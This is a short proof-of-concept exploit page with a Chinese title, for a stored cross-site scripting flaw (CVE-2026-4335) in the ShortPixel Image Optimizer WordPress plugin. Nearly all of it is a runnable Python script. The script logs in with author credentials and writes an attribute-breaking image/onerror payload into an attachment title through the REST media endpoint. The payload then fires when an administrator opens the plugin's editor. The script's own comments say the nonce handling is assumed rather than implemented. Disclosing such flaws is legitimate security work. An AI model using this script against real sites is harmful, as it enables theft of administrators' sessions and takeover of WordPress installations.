CVE-2026-4335: WordPress ShortPixel插件存储型XSS漏洞

import requests # Exploit Title: ShortPixel Image Optimizer < 6.4.3 - Stored XSS via Attachment Title # Description: Updates an attachment title to inject XSS into the admin popup # Usage: python poc.py <url> <username> <password> <attachment_id> target_url = "http://target-wordpress-site.com" wp_user = "author" wp_pass = "password" attachment_id = 123 # 1. Authenticate to get a nonce session = requests.Session() login_data = {'log': wp_user, 'pwd': wp_pass, 'wp-submit': 'Log In', 'redirect_to': '%s/wp-admin' % target_url} session.post('%s/wp-login.php' % target_url, data=login_data) # 2. Retrieve a valid REST API nonce (X-WP-Nonce) response = session.get('%s/wp-admin/admin.php?page=shortpixel-images' % target_url) # (In a real scenario, parsing the nonce from the page headers or body is required) # For demonstration, let's assume the REST API is accessible with the auth cookie # and we update the post title directly. # 3. Prepare the Payload # The payload breaks out of the value attribute: value="[PAYLOAD]" # We use a double quote to close the attribute and an onfocus event handler xss_payload = '"><img src=x onerror=alert(document.cookie)><input value="' # 4. Send REST API request to update the attachment title api_endpoint = '%s/wp-json/wp/v2/media/%d' % (target_url, attachment_id) headers = { 'Content-Type': 'application/json' } data = { 'title': xss_payload } # Note: Requires REST API authentication cookie from the session response = session.post(api_endpoint, headers=headers, json=data) if response.status_code == 200: print("Payload injected successfully.") print("An Administrator must now open the ShortPixel AI editor for attachment %d." % attachment_id) else: print("Failed to inject payload.") print(response.text)